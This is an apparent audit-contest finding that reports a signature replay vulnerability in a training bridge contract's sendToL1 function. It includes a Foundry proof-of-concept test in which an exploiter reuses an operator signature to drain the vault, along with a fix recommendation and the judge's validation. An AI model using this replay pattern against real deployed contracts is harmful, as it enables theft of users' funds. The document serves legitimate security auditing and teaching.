Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

L1BossBridge.sol - sendToL1 - Replay attack

Summary

By looking at on-chain transaction an exploiter can see the parameters used in sendToL1 and call sendToL1 right away and replay the withdraw, leading to a vault drain.

Vulnerability Details

POC

In this poc we are only replaying twice to show case the exploit but we could potentially replay the attack until the vault is empty

​
function testSendToL1_POC_Replay_attack() public {
uint256 depositAmount = 10e18;
​
// user deposit amount so the vault has extra funds for the exploit
vm.startPrank(user);
token.balanceOf(address(user));
​
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
​
​
vm.startPrank(exploiter);
uint256 exploiterInitialBalance = token.balanceOf(address(exploiter));
​
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(exploiter, userInL2, depositAmount);
​
// Deposit in the vault is 2 times 10e18 for user and exploiter
assertEq(token.balanceOf(address(vault)), depositAmount * 2);
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance - depositAmount);
​
// Operator sign the message
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(exploiter, depositAmount), operator.key);
​
// Exploiter withdraw once to see the correct parameters to call sendToL1
tokenBridge.withdrawTokensToL1(exploiter, depositAmount, v, r, s);
​
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance);
assertEq(token.balanceOf(address(vault)), depositAmount);
​
// POC but exploiter can find the message on chain
bytes memory message = abi.encode(
address(token),
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), exploiter, depositAmount))
);
​
// Exploiter replay the attack
tokenBridge.sendToL1(v, r, s, message);
​
vm.stopPrank();
​
// Exploiter end up with more money
assertEq(token.balanceOf(address(exploiter)), exploiterInitialBalance + depositAmount);
​
// Vault is empty
assertEq(token.balanceOf(address(vault)), 0);
​
vm.startPrank(user);
​
// User can not withdraw as the vault is empty and his deposit stolen
(uint8 v2, bytes32 r2, bytes32 s2) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
vm.expectRevert(0x2645fa00);
tokenBridge.withdrawTokensToL1(user, depositAmount, v2, r2, s2);
vm.stopPrank();
}

Impact

Vault can be completely drained.

Tools Used

forge test

Recommendations

Make sendToL1 internal and add a nonce or a timestamp to avoid the replaying a message

Updates

Lead Judging Commences

0xnevi Lead Judge almost 3 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!